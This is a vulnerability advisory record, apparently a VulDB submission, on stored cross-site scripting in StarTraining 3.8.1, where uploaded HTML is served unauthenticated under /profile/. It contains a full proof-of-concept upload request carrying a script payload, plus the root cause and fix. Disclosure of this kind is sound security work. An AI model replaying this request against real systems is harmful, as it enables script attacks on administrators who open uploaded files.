| 标题 | zhistaredu StarTraining 3.8.1 Cross Site Scripting |
|---|
| 描述 | StarTraining 3.8.1 — HTML upload allowed and /profile/** served anonymously (stored XSS) (ST-VULN-006)
Product: StarTraining 3.8.1
CWE: CWE-434 / CWE-79
Classification: Cross Site Scripting
=== SUMMARY ===
`MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION` includes html/htm. Uploaded files are served under `/profile/**` with permitAll GET.
=== ROOT CAUSE ===
Dangerous upload extensions + public static resource mapping.
=== REPRODUCTION ===
POST /common/upload HTTP/1.1
Host: 127.0.0.1:8900
Authorization: USER_TOKEN
Content-Type: multipart/form-data; boundary=----BOUNDARY
Connection: close
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="poc.html"
Content-Type: text/html
<script>alert('ST-PoC')</script>
------BOUNDARY--
# Then open returned /profile/upload/.../poc.html without auth
Expected: Upload returns profile URL; GET executes script in browser
=== IMPACT ===
Stored XSS against admins viewing uploaded resources.
=== FIX ===
Remove html from allowed extensions; require auth on /profile/**; enable XSS filter.
|
|---|
| 来源 | ⚠️ https://github.com/ArrestX/startraining-advisories/blob/main/advisories/ST-VULN-006-stored-html-upload-xss.md |
|---|
| 用户 | thmanhz (UID 100327) |
|---|
| 提交 | 2026-08-05 02時20分 (2 月前) |
|---|
| 管理 | 2026-09-27 05時38分 (2 months later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 410810 [zhistaredu StarTraining 直到 3.8.1 Upload Endpoint MimeTypeUtils.java 文件 跨网站脚本] |
|---|
| 积分 | 20 |
|---|